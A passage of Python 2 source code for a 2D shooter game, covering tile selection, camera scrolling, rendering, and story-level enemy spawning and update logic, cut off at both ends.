tile:\n\t\t\t\tid = 1 # Horizontal on bottom\n\t\t\telif adj['u'] != tile and adj['d'] != tile:\n\t\t\t\tid = 2\n\t\tif adj['u'] == tile or adj['d'] == tile: # Vertical\n\t\t\tif adj['l'] != tile and adj['r'] == tile:\n\t\t\t\tid = 3 # Vertical on the left\n\t\t\telif adj['r'] != tile and adj['l'] == tile:\n\t\t\t\tid = 4 # Vertical on the right\n\t\t\telif adj['l'] != tile and adj['r'] != tile:\n\t\t\t\tid = 5\n\n\t\t# Corner tiles\n\t\tif adj['r'] == tile and adj['d'] == tile and adj['u'] != tile and adj['l'] != tile:\n\t\t\tid = 6 # Top left\n\t\tif adj['l'] == tile and adj['d'] == tile and adj['r'] != tile and adj['u'] != tile:\n\t\t\tid = 7 # Top right\n\t\tif adj['r'] == tile and adj['u'] == tile and adj['l'] != tile and adj['d'] != tile:\n\t\t\tid = 8 # Bottom left\n\t\tif adj['l'] == tile and adj['u'] == tile and adj['r'] != tile and adj['d'] != tile:\n\t\t\tid = 9 # Bottom right\n\n\t\t# Edge tiles\n\t\tif adj['u'] != tile and adj['d'] != tile:\n\t\t\tif adj['l'] != tile and adj['r'] == tile:\n\t\t\t\tid = 10 # Left edge\n\t\t\tif adj['r'] != tile and adj['l'] == tile:\n\t\t\t\tid = 11 # Right edge\n\t\tif adj['l'] != tile and adj['r'] != tile:\n\t\t\tif adj['u'] != tile and adj['d'] == tile:\n\t\t\t\tid = 12 # Top edge\n\t\t\tif adj['d'] != tile and adj['u'] == tile:\n\t\t\t\tid = 13 # Bottom edge\n\n\t\tif adj['l'] == adj['r'] == adj['u'] == adj['d'] == tile:\n\t\t\tid = 14 # Mid Tiles\n\n\t\treturn id\n\n\tdef scrollWorld(self):\n\t\t# Note to self: Always define camera position BEFORE updating offset!\n\t\t# Another note: Never make a map smaller than screen size\n\t\tself.camera = Vector(self.width-self.offset.x, self.height-self.offset.y)\n\t\tself.offset = -self.target.vector+self.center_screen\n\t\t\n\t\t## Scroll limit\n\t\tif self.width > SCREEN_W:\n\t\t\tif self.offset.x >= 0:\n\t\t\t\tself.offset.x = 0\n\t\t\tif self.offset.x <= -self.width+SCREEN_W:\n\t\t\t\tself.offset.x = -self.width+SCREEN_W\n\t\tif self.height > SCREEN_H:\n\t\t\tif self.offset.y >= 0:\n\t\t\t\tself.offset.y = 0\n\t\t\tif self.offset.y <= -self.height+SCREEN_H:\n\t\t\t\tself.offset.y = -self.height+SCREEN_H\n\n\tdef shake(self):\n\t\tif not self.profile.shaking:\n\t\t\treturn\n\n\t\ts = random.randint(-1, 1)*4\n\t\tself.offset.x += s\n\t\tself.offset.y += s\n\n\tdef render(self, debug=False):\n\t\tblit(self.engine.display, self.field, self.offset, center=False)\n\t\tself.field.fill(self.bg_color)\n\t\tself.backdrop.render(self.field, self.engine.display, self.offset)\n\n\t\t# Only render the tiles visible on-screen\n\t\tstartX = int(-self.offset.x / TILESIZE)\n\t\tstartY = int(-self.offset.y / TILESIZE)\n\t\tendX = int((-self.offset.x + SCREEN_W) / TILESIZE) + 1\n\t\tendY = int((-self.offset.y + SCREEN_H) / TILESIZE) + 1\n\n\t\tif startX <= 0:\n\t\t\tstartX = 0\n\t\tif startY <= 0:\n\t\t\tstartY = 0\n\t\tif endX > self.mw:\n\t\t\tendX = self.mw\n\t\tif endY > self.mh:\n\t\t\tendY = self.mh\n\n\t\tfor th in xrange(startY, endY):\n\t\t\tfor tw in xrange(startX, endX):\n\t\t\t\tt = self.tiles[th][tw]\n\t\t\t\tb = self.bg[th][tw]\n\n\t\t\t\tif b != None and b.alive:\n\t\t\t\t\tb.draw(self.field)\n\n\t\t\t\tif t != None and t.alive:\n\t\t\t\t\tt.draw(self.field)\n\n\t\tfor g in self.generators:\n\t\t\tif g.alive and onScreenOffset(g, self.offset):\n\t\t\t\tg.draw(self.field)\n\n\t\tfor g in self.grenades:\n\t\t\tif onScreenOffset(g, self.offset):\n\t\t\t\tg.draw(self.field)\n\n\t\tfor e in self.entities:\n\t\t\tif e.alive and onScreenOffset(e, self.offset):\n\t\t\t\te.draw(self.field, debug)\n\n\t\tfor i in self.items:\n\t\t\tif onScreenOffset(i, self.offset):\n\t\t\t\ti.draw(self.field)\n\n\t\tfor i in self.weps:\n\t\t\tif i.alive and onScreenOffset(i, self.offset):\n\t\t\t\ti.draw(self.field)\n\t\t\t\t\t\t\n\t\tfor l in self.bullets:\n\t\t\tif onScreenOffset(l, self.offset):\n\t\t\t\tl.draw(self.field)\n\n\t\tfor p in self.particles:\n\t\t\tif onScreenOffset(p, self.offset):\n\t\t\t\tp.draw(self.field)\n\n\t\tfor l in self.liquids:\n\t\t\tif onScreenOffset(l, self.offset):\n\t\t\t\tl.render(self.field)\n\n\t\tfor th in xrange(startY, endY):\n\t\t\tfor tw in xrange(startX, endX):\n\t\t\t\tt = self.fg[th][tw]\n\t\t\t\tif t != None and t.alive:\n\t\t\t\t\tt.draw(self.field)\n\n\t\tif self.target != None and self.target.alive:\n\t\t\tself.hud.render(self.engine.display)\n\n\t\t\tif self.text_rendering and self.dialog != None:\n\t\t\t\tself.dialog.render(self.engine.display)\n\t\t\t\tif self.dialog.done:\n\t\t\t\t\tself.text_rendering = False\n\n\t\tif self.game_over:\n\t\t\tt = text(self.engine.fonts['medium'], self.game_over_line, B_COLORS['YELLOW'])\n\t\t\tblit(self.engine.display, t, (SCREEN_W/2, SCREEN_H/2))\n\n\t\tself.special_rendering()\n\n\tdef special_rendering(self):\n\t\tpass\n\n\tdef update(self):\n\t\tpass\n\n\nclass StoryLevel(GameMap):\n\tdef __init__(self, name, engine, parent_state):\n\t\tGameMap.__init__(self, name, engine, parent_state, 'story')\n\t\tself.texts = SCRIPT[self.name]\n\t\tself.text_index = -1\n\t\tself.diff = ''\n\t\tself.gametype = 'Story'\n\n\tdef worldSpecific(self, name):\n\t\tself.text_index = -1\n\t\tself.texts = SCRIPT[self.name]\n\n\t\tself.profile.level_progress = self.name\n\t\tif self.target != None:\n\t\t\tself.profile.grenades = self.target.bag.grenades\n\t\t\tself.profile.weapons = [(i.img, i.bullet, i.ammo) if i.type == 'gun' else (i.img,) for i in self.target.bag.weapons]\n\t\t\tif self.target.weapon in self.target.bag.weapons:\n\t\t\t\tself.profile.current = self.target.bag.weapons.index(self.target.weapon)\n\n\t\tself.profile.save()\n\t\tself.profile.load()\n\n\t\tself.next_map = self.plines[2].split('=')[1].strip('\\n')\n\n\t\tself.offset = Vector(0, 0)\n\t\tself.center_screen = Vector(SCREEN_W/2, SCREEN_H/2)\n\t\tself.camera = Vector(self.width-self.offset.x, self.height-self.offset.y)\n\n\t\tself.diff = self.profile.difficulty\n\t\tfor x in xrange(self.mw):\n\t\t\tfor y in xrange(self.mh):\n\t\t\t\tif self.lines[y][x] == 'D':\n\t\t\t\t\tif self.target == None:\n\t\t\t\t\t\tt = Actor('human', self.profile.color, x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, name=self.profile.name, d=self.diff)\n\t\t\t\t\t\tt.bag.grenades = self.profile.grenades\n\t\t\t\t\t\tt.bag.weapons = [Gun(i[0], t.vector, t.angle, i[1]) if len(i) > 1 else Blade(i[0], t.vector, t.angle) for i in self.profile.weapons]\n\n\t\t\t\t\t\tfor w1 in xrange(len(self.profile.weapons)):\n\t\t\t\t\t\t\twep = t.bag.weapons[w1]\n\t\t\t\t\t\t\tif wep.type == 'gun':\n\t\t\t\t\t\t\t\tif self.name.strip('abcdefghijklmnopqrstuvwxyz') == '1':\n\t\t\t\t\t\t\t\t\twep.ammo = wep.max\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\twep.ammo = self.profile.weapons[w1][2]\n\n\t\t\t\t\t\tif len(t.bag.weapons) != 0:\n\t\t\t\t\t\t\tt.weapon = t.bag.weapons[self.profile.current]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tt.weapon = None\n\t\t\t\t\t\tself.target = t\n\t\t\t\t\t\tself.target.switch_weapon()\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.target.vector.x = x*TILESIZE-TILESIZE/2\n\t\t\t\t\t\tself.target.vector.y = y*TILESIZE-TILESIZE/2\n\t\t\t\t\tself.hud = HUD(self.target)\n\t\t\t\t\tself.entities.append(self.target)\n\n\t\t\t\tif self.lines[y][x] == 'R':\n\t\t\t\t\te = Bot('renegade', 'warrior', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'C':\n\t\t\t\t\te = Bot('renegade', 'superior', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'B':\n\t\t\t\t\te = Bot('renegade', 'knight', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'Q':\n\t\t\t\t\te = Bot('renegade', 'brute', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'I':\n\t\t\t\t\te = Flyer('renegade', 'drone', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tself.entities.append(e)\n\t\t\t\t\n\t\t\t\tif self.lines[y][x] == 'Y':\n\t\t\t\t\te = Flyer('hydrax', 'swarm', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'H':\n\t\t\t\t\tself.entities.append(Bot('hydrax', 'slave', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff))\n\t\t\t\t\n\t\t\t\tif self.lines[y][x] == 'V':\n\t\t\t\t\tself.entities.append(Bot('hydrax', 'seeder', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff))\n\t\t\t\t\n\t\t\t\tif self.lines[y][x] == 'Z':\n\t\t\t\t\tself.entities.append(SelfDestruct('hydrax', 'boomer', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff))\n\n\t\t\t\tif self.lines[y][x] == 'L':\n\t\t\t\t\tself.entities.append(Bot('human', 'bot', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff))\n\n\t\t\t\tif self.lines[y][x] == 'E':\n\t\t\t\t\te = Bot('human', 'crewman', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'J':\n\t\t\t\t\te = Bot('human', 'captain', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'N':\n\t\t\t\t\te = Bot('human', 'prisoner', x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, str(len(self.entities)), 0, 0, diff=self.diff)\n\t\t\t\t\tif self.name.strip('0123456789') == 'awakening' and int(self.name.strip('abcdefghijklmnopqrstuvwxyz')) <= 3:\n\t\t\t\t\t\te.bag.grenades = 0\n\t\t\t\t\tself.entities.append(e)\n\n\n\t\t\t\tif self.lines[y][x] == 'W':\n\t\t\t\t\te = Mecha(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, diff=self.diff)\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == 'O':\n\t\t\t\t\te = Squid(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, diff=self.diff)\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == '>':\n\t\t\t\t\te = King(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, diff=self.diff)\n\t\t\t\t\tself.entities.append(e)\n\n\t\t\t\tif self.lines[y][x] == ',':\n\t\t\t\t\tself.generators.append(Generator(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, 'renegade', 'renegade', 300))\n\n\t\t\t\tif self.lines[y][x] == '.':\n\t\t\t\t\tself.generators.append(Generator(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, 'human', 'lab', 300))\n\n\t\t\t\tif self.lines[y][x] == '<':\n\t\t\t\t\tself.generators.append(Generator(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, 'hydrax', 'hydrax', 300))\n\t\t\t\t\n\t\t\t\tif self.lines[y][x] in WEAPON_DROPS.keys():\n\t\t\t\t\tpar = WEAPON_DROPS[self.lines[y][x]]\n\t\t\t\t\tif par[1] == 'gun' or par[1] == 'blade':\n\t\t\t\t\t\tself.weps.append(WeaponDrop(par[0], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, par[0], type=par[1]))\n\t\t\t\t\telif par[1] == 'item':\n\t\t\t\t\t\titem = Item(x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, par[0])\n\t\t\t\t\t\titem.life = 1000000\n\t\t\t\t\t\tself.items.append(item)\n\n\tdef next_level(self):\n\t\tif self.next_map.strip('abcdefghijklmnopqrstuvwxyz') == '1':\n\t\t\tself.parent_state.cutscene()\n\t\telse:\n\t\t\tself.generateMap(self.next_map, target=self.target)\n\n\tdef update(self):\n\t\tself.scrollWorld()\n\n\t\tif self.parent_state.mask_alpha > 255:\n\t\t\tself.next_level()\n\t\t\n\t\tif self.shaking:\n\t\t\tif random.randint(0, 5) == 0:\n\t\t\t\tself.shake()\n\n\t\tif all(e.race != 'human' for e in self.generators) and self.defend_structures:\n\t\t\tif not self.game_over:\n\t\t\t\tself.game_over_time = time.time()\n\t\t\t\tself.game_over = True\n\t\t\telse:\n\t\t\t\tif int(time.time()-self.game_over_time) >= 3:\n\t\t\t\t\tself.generateMap(self.name)\n\n\t\tfor l in self.liquids:\n\t\t\tl.update()\n\t\t\tfor e in self.entities+self.grenades+self.items:\n\t\t\t\tl.splash(e)\n\n\t\t\t\tif collideAABB(e, l):\n\t\t\t\t\tl.onCollide(e)\n\n\t\tfor g in self.generators:\n\t\t\tif g.alive:\n\t\t\t\tg.update(self.tiles)\n\t\t\telse:\n\t\t\t\tfor i in Death(g, s=50).gore:\n\t\t\t\t\tself.particles.append(i)\n\n\t\t\t\tfor i in xrange(10):\n\t\t\t\t\tself.particles.append(Explosion(g.vector, 'explode'))\n\t\t\t\tJuke.play('boom', 0.4*stereo_pos(self.target.vector, g.vector))\n\t\t\t\tg.dropItem(self.items)\n\n\t\t\t\tself.generators.remove(g)\n\t\t\t\t\n\n\t\tfor th in xrange(self.mh):\n\t\t\tfor tw in xrange(self.mw):\n\t\t\t\tif 0 <= th < self.mh and 0 <= tw < self.mw:\n\t\t\t\t\tt = self.tiles[th][tw]\n\t\t\t\t\tif t != None:\n\t\t\t\t\t\tif t.alive:\n\t\t\t\t\t\t\tif t.type == 'door':\n\t\t\t\t\t\t\t\tenemies = [e for e in self.entities if e.race != 'human']\n\t\t\t\t\t\t\t\ttargets = [g for g in self.generators if g.race != 'human']\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif len(enemies) == 0 and len(targets) == 0:\n\t\t\t\t\t\t\t\t\tt.open()\n\t\t\t\t\t\t\t\tif t.went_through:\n\t\t\t\t\t\t\t\t\tif self.next_map.strip('abcdefghijklmnopqrstuvwxyz') == '1':\n\t\t\t\t\t\t\t\t\t\tself.parent_state.exiting = True\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tself.next_level()\n\n\t\t\t\t\t\t\tif t.type == 'event':\n\t\t\t\t\t\t\t\tif collideAABB(self.target, t):\n\t\t\t\t\t\t\t\t\tif t.name == 'shake0':\n\t\t\t\t\t\t\t\t\t\tself.shaking = True\n\t\t\t\t\t\t\t\t\tif t.name == 'stopShake0':\n\t\t\t\t\t\t\t\t\t\tself.shaking = False\n\t\t\t\t\t\t\t\t\tif t.name == 'text0':\n\t\t\t\t\t\t\t\t\t\tself.text_index += 1\n\t\t\t\t\t\t\t\t\t\tself.dialog = Dialog(self.texts[self.text_index], self.bg_color)\n\t\t\t\t\t\t\t\t\t\tself.text_rendering = True\n\t\t\t\t\t\t\t\t\tself.tiles[th][tw] = None\n\n\t\t\t\t\t\t\tif t.type == 'util':\n\t\t\t\t\t\t\t\tif collideAABB(self.target, t) and t.name.strip('0123456789') == 'switch' and t.state == 1:\n\t\t\t\t\t\t\t\t\tfor th2 in xrange(self.mh):\n\t\t\t\t\t\t\t\t\t\tfor tw2 in xrange(self.mw):\n\t\t\t\t\t\t\t\t\t\t\tif 0 <= th2 < self.mh and 0 <= tw2 < self.mw:\n\t\t\t\t\t\t\t\t\t\t\t\tt2 = self.tiles[th2][tw2]\n\t\t\t\t\t\t\t\t\t\t\t\tif t2 != None and t2.name.strip('1234567890') in ['doorAlien', 'doorStruc', 'doorHydrax']:\n\t\t\t\t\t\t\t\t\t\t\t\t\tif t.icon == 'd' and t2.icon == 'h':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt2.kill()\n\t\t\t\t\t\t\t\t\t\t\t\t\telif t.icon == 'f' and t2.icon == 'j':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt2.kill()\n\t\t\t\t\t\t\t\t\t\t\t\t\telif t.icon == 'l' and t2.icon == 'c':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt2.kill()\n\t\t\t\t\t\t\t\t\t\t\t\t\telif t.icon == 'z' and t2.icon == 'v':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt2.kill()\n\t\t\t\t\t\t\t\t\t\t\t\t\telif t.icon == '{' and t2.icon == '[':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt2.kill()\n\t\t\t\t\t\t\t\t\t\t\t\t\telif t.icon == '}' and t2.icon == ']':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt2.kill()\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.tiles[th][tw] = None\n\n\t\tfor g in self.grenades:\n\t\t\tif g.alive:\n\t\t\t\tg.update(self.tiles)\n\t\t\telse:\n\t\t\t\tfor i in xrange(5):\n\t\t\t\t self.particles.append(Explosion(g.vector, 'grenade'))\n\t\t\t\tg.hurtActors(self.entities+self.generators, self)\n\t\t\t\tJuke.play('nades', 0.4*stereo_pos(self.target.vector, g.vector))\n\t\t\t\tself.grenades.remove(g)\n\n\t\tfor e in self.entities:\n\t\t\tif e.alive:\n\t\t\t\tif e.type == 'bot':\n\t\t\t\t\te.random_move()\n\t\t\t\t\tif onScreenOffset(e, self.offset):\n\t\t\t\t\t\te.brain.think(self, teams=False, bio=True)\n\t\t\t\t\telse:\n\t\t\t\t\t\te.shooting = False\n\n\t\t\t\tif e.race == 'hydrax':\n\t\t\t\t\tif random.randint(0, 150) == 0:\n\t\t\t\t\t\tJuke.play('hydrax'+str(random.randint(1, 2)))\n\n\t\t\t\tfor e2 in self.entities:\n\t\t\t\t\tif e == e2: continue\n\t\t\t\t\tif e.race == e2.race: continue\n\t\t\t\t\tif collideAABB(e, e2):\n\t\t\t\t\t\te.onCollide(e2)\n\n\t\t\t\tfor g in self.generators:\n\t\t\t\t\tif e.race == g.race: continue\n\t\t\t\t\tif collideAABB(e, g):\n\t\t\t\t\t\te.onCollide(g)\n\n\t\t\t\tif type(e) in [Squid, Flyer]:\n\t\t\t\t\tif e.vel.x > 0 and e.vector.x > self.width-e.width/2.0:\n\t\t\t\t\t\te.vector.x = self.width-e.width/2.0\n\t\t\t\t\tif e.vel.x < 0 and e.vector.x < e.width/2.0:\n\t\t\t\t\t\te.vector.x = e.width/2.0\n\t\t\t\t\tif e.vel.y > 0 and e.vector.y > self.height-e.height/2.0:\n\t\t\t\t\t\te.vector.y = self.height-e.height/2.0\n\t\t\t\t\tif e.vel.y < 0 and e.vector.y < e.height/2.0:\n\t\t\t\t\t\te.vector.y = e.height/2.0\n\n\t\t\t\tif e.vector.x > self.width or e.vector.x < 0 or e.vector.y > self.height or e.vector.y < 0:\n\t\t\t\t\te.getHurt(e.full, e.name)\n\n\t\t\t\tif e.type in ['actor', 'bot']:\n\t\t\t\t\t# Shooting and throwing grenades\n\t\t\t\t\tif e.shooting and not e.invunerable:\n\t\t\t\t\t\tif e.weapon != None:\n\t\t\t\t\t\t\tif e.weapon.type == 'gun':\n\t\t\t\t\t\t\t\tif e.weapon.readyToFire and int(e.weapon.ammo) > 0:\n\t\t\t\t\t\t\t\t\tJuke.play(e.weapon.img, 0.4*stereo_pos(self.target.vector, e.vector))\n\t\t\t\t\t\t\te.shoot(self.bullets, self.particles)\n\n\t\t\t\t\tif e.grenading:\n\t\t\t\t\t\te.throw_grenade(self.grenades)\n\n\t\t\t\t\tif e.hurt:\n\t\t\t\t\t\tfor i in xrange(3):\n\t\t\t\t\t\t\tself.particles.append(Blood(e.vector, e.vel, e.blood))\n\n\t\t\t\tif e.color == 'mecha':\n\t\t\t\t\tif e.boss_state == 'rockets' and e.shooting_rockets:\n\t\t\t\t\t\tJuke.play('rocket_launcher', 1.0)\n\t\t\t\t\tif e.boss_state == 'jump' and e.onGround:\n\t\t\t\t\t\tJuke.play('rod', 0.4*stereo_pos(self.target.vector, e.vector))\n\n\t\t\t\te.update()\n\t\t\t\te.move(self.tiles)\n\t\t\telse:\n\t\t\t\tif type(e) == SelfDestruct:\n\t\t\t\t\tif e.race == 'hydrax':\n\t\t\t\t\t\te.explode(self.entities+self.generators, self)\n\t\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\t\tself.particles.append(Explosion(e.vector, 'explode'))\n\t\t\t\t\t\tJuke.play('rod', 0.4*stereo_pos(self.target.vector, e.vector))\n\t\t\t\t\t\tself.entities.remove(e)\n\n\t\t\t\tif e.type not in ['actor', 'bot']:\n\t\t\t\t\tif e.type == 'rocket':\n\t\t\t\t\t\te.dropItem(self.items)\n\t\t\t\t\t\te.explode(self.entities, self)\n\t\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\t\tself.particles.append(Explosion(e.vector, 'explode'))\n\t\t\t\t\t\tJuke.play('rod', 0.4*stereo_pos(self.target.vector, e.vector))\n\t\t\t\t\t\tself.entities.remove(e)\n\t\t\t\telse:\n\t\t\t\t\tif not e.respawning:\n\t\t\t\t\t\t# Gory and explosive death\n\t\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\t\tself.particles.append(Blood(e.vector, e.vel, e.blood))\n\n\t\t\t\t\t\tif e.width > SPRITESIZE[0] or e.height > SPRITESIZE[1]:\n\t\t\t\t\t\t\tguts = Death(e, s=30)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tguts = Death(e)\n\n\t\t\t\t\t\tfor i in guts.gore:\n\t\t\t\t\t\t\tself.particles.append(i)\n\n\t\t\t\t\t\te.dropItem(self.items)\n\n\t\t\t\t\t\te.deaths += 1\n\t\t\t\t\t\te.death_time = time.time()\n\t\t\t\t\t\te.respawning = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tif e != self.target:\n\t\t\t\t\t\t\tself.entities.remove(e)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\te.current_respawn = int(time.time()-e.death_time)\n\t\t\t\t\t\t\tif e.current_respawn >= e.respawn_time:\n\t\t\t\t\t\t\t\tself.generateMap(self.name)\n\n\t\tfor i in self.items:\n\t\t\tif i.alive:\n\t\t\t\ti.update(self.tiles)\n\t\t\t\tfor e in self.entities:\n\t\t\t\t\tif e.alive:\n\t\t\t\t\t\te.collect_item(i)\n\t\t\telse:\n\t\t\t\tself.items.remove(i)\n\n\t\tfor i in self.weps:\n\t\t\tif i.alive:\n\t\t\t\ti.update(self.tiles)\n\t\t\t\tfor e in self.entities:\n\t\t\t\t\tif e.alive:\n\t\t\t\t\t\te.new_weapon(i)\n\t\t\telse:\n\t\t\t\tself.weps.remove(i)\n\t\t\t\t\t\t\n\t\tfor l in self.bullets:\n\t\t\tif l.alive:\n\t\t\t\tif not onScreenOffset(l, self.offset):\n\t\t\t\t\tself.bullets.remove(l)\n\t\t\t\tl.update(self.tiles)\n\t\t\t\tl.collide(self.entities+self.generators, teams=False, bio=True)\n\t\t\telse:\n\t\t\t\tself.particles.append(BulletDisp(l.name, l.angle, l.facing, l.vector.x, l.vector.y))\n\t\t\t\tif l.name == 'rocket':\n\t\t\t\t\tl.explode(self.entities+self.generators, self)\n\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\tself.particles.append(Explosion(l.vector, 'explode'))\n\t\t\t\t\tJuke.play('boom', 0.4*stereo_pos(self.target.vector, l.vector))\n\t\t\t\tif l.name == 'rod':\n\t\t\t\t\tl.explode(self.entities+self.generators, self)\n\t\t\t\t\tfor i in xrange(5):\n\t\t\t\t\t\tself.particles.append(Explosion(l.vector, 'fusion'))\n\t\t\t\t\tJuke.play('rod', 0.4*stereo_pos(self.target.vector, l.vector))\n\t\t\t\tself.bullets.remove(l)\n\n\t\tfor p in self.particles:\n\t\t\tif p.alive:\n\t\t\t\tif p.type == 'explosion':\n\t\t\t\t\tself.shake()\n\t\t\t\tp.update(self.tiles, self.particles)\n\t\t\telse:\n\t\t\t\tself.particles.remove(p)\n\n\t\tif self.target.aiming:\n\t\t\td = (self.engine.mouse.vector-self.target.vector).magnitude()\n\t\t\tself.target.throw_power = min(20, d/20)\n\n\nclass BotMap(GameMap):\n\tdef __init__(self, name, engine, parent_state, numofbots, timelimit, gametype):\n\t\tGameMap.__init__(self, name, engine, parent_state, 'multiplayer')\n\t\tself.numofbots = numofbots\n\t\tself.gametype = gametype\n\n\t\tself.oddframe = image('data/imgs/menu/oddman_frame.png', resize=SPRITESIZE)\n\t\tself.oddman = None\n\t\tself.messages = []\n\n\t\tself.start = time.time()\n\t\tself.timelimit = int(timelimit*60)\n\t\tself.elapsed = 0\n\t\tself.remaining = 10\n\t\tself.show_time = False\n\n\t\tself.gametype_attributes()\n\n\tdef worldSpecific(self, name):\n\t\tfor x in xrange(self.mw):\n\t\t\tfor y in xrange(self.mh):\n\t\t\t\tif self.lines[y][x] == 'R':\n\t\t\t\t\tself.spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\t\tself.red_spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\tif self.lines[y][x] == 'B':\n\t\t\t\t\tself.spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\t\tself.blue_spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\t\t\t\tif self.lines[y][x] == 'Q':\n\t\t\t\t\tself.genspawn_red = (x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2)\n\t\t\t\tif self.lines[y][x] == 'W':\n\t\t\t\t\tself.genspawn_blue = (x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2)\n\t\t\t\tif self.lines[y][x] == 'H':\n\t\t\t\t\tself.hydrax_spawns.append((x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2))\n\n\t\t\t\tif self.lines[y][x] in WEAPON_DROPS.keys():\n\t\t\t\t\tpar = WEAPON_DROPS[self.lines[y][x]]\n\t\t\t\t\tif par[1] == 'gun' or par[1] == 'blade':\n\t\t\t\t\t\tself.weps.append(WeaponDrop(par[0], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, par[0], type=par[1]))\n\n\tdef gametype_attributes(self):\n\t\tif self.gametype == 'Generator':\n\t\t\tself.generators.append(Generator(self.genspawn_red[0], self.genspawn_red[1], 'h', 'red'))\n\t\t\tself.generators.append(Generator(self.genspawn_blue[0], self.genspawn_blue[1], 'h', 'blue'))\n\n\t\tspawn = random.choice(self.spawns)\n\t\tself.target = Actor('human', self.profile.color, spawn[0], spawn[1], name=self.profile.name, spec=(self.profile.name == 'Dr. 